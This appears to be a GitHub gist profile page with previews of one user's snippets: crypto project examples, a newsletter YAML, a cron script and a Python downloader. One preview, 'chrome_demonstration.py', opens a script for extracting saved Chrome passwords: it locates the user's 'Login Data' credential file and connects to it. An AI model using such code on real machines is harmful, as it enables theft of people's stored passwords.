Skip to content

Instantly share code, notes, and snippets.

View LPX55's full-sized avatar

LPX LPX55

View GitHub Profile
@LPX55
LPX55 / -- Evmos EVM Extensions Example --
Last active May 27, 2023 16:32
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.18+commit.87f61d96.js&optimize=false&runs=200&gist=
This gist shows an example on how to use Evmos EVM Extensions to access
x/distribution and x/staking Cosmos SDK modules functionalities from a smart contract
@LPX55
LPX55 / weekly-en.yaml
Created April 26, 2022 19:28
ShapeShift Newsletter Builder YAML Test
---
IMPORTANT_MSG: null
ISSUE_NUM: 420
LEFT_INTRO: "This week in the ShapeShift DAO, we have been discussing various ideas during our weekly governance meeting. There are no active or passed proposals this week. However, the ShapeShift forum continues to see great engagement from the community with new ideas and proposals being discussed."
RIGHT_INTRO: "Check out the section below for a summary of our weekly governance including current proposals as well as new and old forum posts. Let’s continue to DAO it!"
# DATE, TIME, TITLE, LOCATION
KEY_DATES:
- date: ["4/20/2022", "9:00 PM MDT", "ITS TIME FOR ALL FOX", "DISCORD STAGE"]
- date: ["4/22/2022", "5:00 PM MDT", "REALLY IMPORTANT MEETING", "DISCORD"]
@LPX55
LPX55 / cron.sh
Created October 10, 2021 13:22
ShapeShift Unified Docs Repo Daily Update
#!/usr/bin/bash
#
# Daily Email Updates
# db creds
user="user"
database="db"
file=/opt/repo/body.html
email="[email protected]"
where="WHERE p.\"updatedAt\"::TIMESTAMP AT TIME ZONE 'UTC' AT TIME ZONE 'America/New_York' BETWEEN NOW() - INTERVAL '24 HOURS' AND NOW() ORDER BY p.\"updatedAt\""

iom2ysjp97

@LPX55
LPX55 / down.py
Last active January 24, 2022 15:21
Multi-Threaded Python Downloader
""" Import """
import sys
import os
import time
from threading import Thread
from queue import Queue
import argparse
import binascii
import urllib.request
import requests
@LPX55
LPX55 / keybase.md
Created July 11, 2021 13:49
keybase.md

Keybase proof

I hereby claim:

  • I am hanyoonlda on github.
  • I am hy93 (https://keybase.io/hy93) on keybase.
  • I have a public key ASCbh5gPFDbXuyxaEpLhQmeLs9UZJuUI0hzkNWj-C22owAo

To claim this, I am signing this object:

0f592a35ce00f0d68df8474db7396f596958fd683072b3e0182b17b1d5631c6e7353286f06e0aa2cf6ba2e2a173129cad1847761621fea05513453b22d63971d
@LPX55
LPX55 / chrome_demonstration.py
Created March 29, 2019 07:12
Extracting Chrome Passwords with Python | Demonstration for hackernoon.com/@HanYoon
# os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency.
import os, sqlite3, win32crypt
# Automatically get the logged in user's default folder
data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
# Connect to Login Data database
connection = sqlite3.connect(data)
cursor = connection.cursor()